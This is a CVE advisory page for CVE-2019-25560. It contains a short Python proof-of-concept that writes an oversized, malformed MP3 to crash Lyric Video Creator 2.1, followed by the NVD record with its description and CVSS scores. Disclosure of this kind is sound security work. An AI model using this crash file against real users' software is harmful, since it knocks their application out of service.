CVE-2019-25560

# PoC Code for CVE-2019-25560 # Generates a malformed MP3 file to trigger DoS in Lyric Video Creator 2.1 import struct def generate_exploit_mp3(filename="crash.mp3", buffer_size=5000): """ Creates a malformed MP3 file with an oversized buffer. Opening this file in Lyric Video Creator 2.1 triggers the crash. """ # Standard MP3 Header (ID3v2) # ID3v2 header: 'ID3' + version + flags + size header = b'ID3\x04\x00\x00\x00\x00\x00\00' # Oversized buffer payload (e.g., 'A' characters) payload = b'A' * buffer_size with open(filename, 'wb') as f: f.write(header + payload) print(f"[+] Exploit file '{filename}' generated.") print(f"[!] Open this file in Lyric Video Creator 2.1 to reproduce the CVE.") if __name__ == "__main__": generate_exploit_mp3()

{"cve": {"id": "CVE-2019-25560", "sourceIdentifier": "[email protected]", "published": "2026-03-21T13:16:18.957", "lastModified": "2026-04-16T18:02:42.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Lyric Video Creator 2.1 contains a denial of service vulnerability that allows attackers to crash the application by processing malformed MP3 files. Attackers can create a crafted MP3 file with an oversized buffer and trigger the crash by opening the file through the Browse song functionality."}, {"lang": "es", "value": "Lyric Video Creator 2.1 contiene una vulnerabilidad de denegación de servicio que permite a los atacantes bloquear la aplicación al procesar archivos MP3 malformados. Los atacantes pueden crear un archivo MP3 manipulado con un búfer sobredimensionado y provocar el bloqueo al abrir el archivo a través de la funcionalidad Browse song."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-226"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lyricvideocreator:lyric_video_creator:2.1:*:*:*:*:*:*:*", "matchCriteriaId": "45D2F9AE-CFD8-4F41-88FC-6F3D97361F7C"}]}]}], "references": [{"url": "https://lyricvideocreator.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://lyricvideocreator.com/dwl/LyricVideoCreator.exe", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/46816", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/lyric-video-creator-denial-of-service-via-mp3-file", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}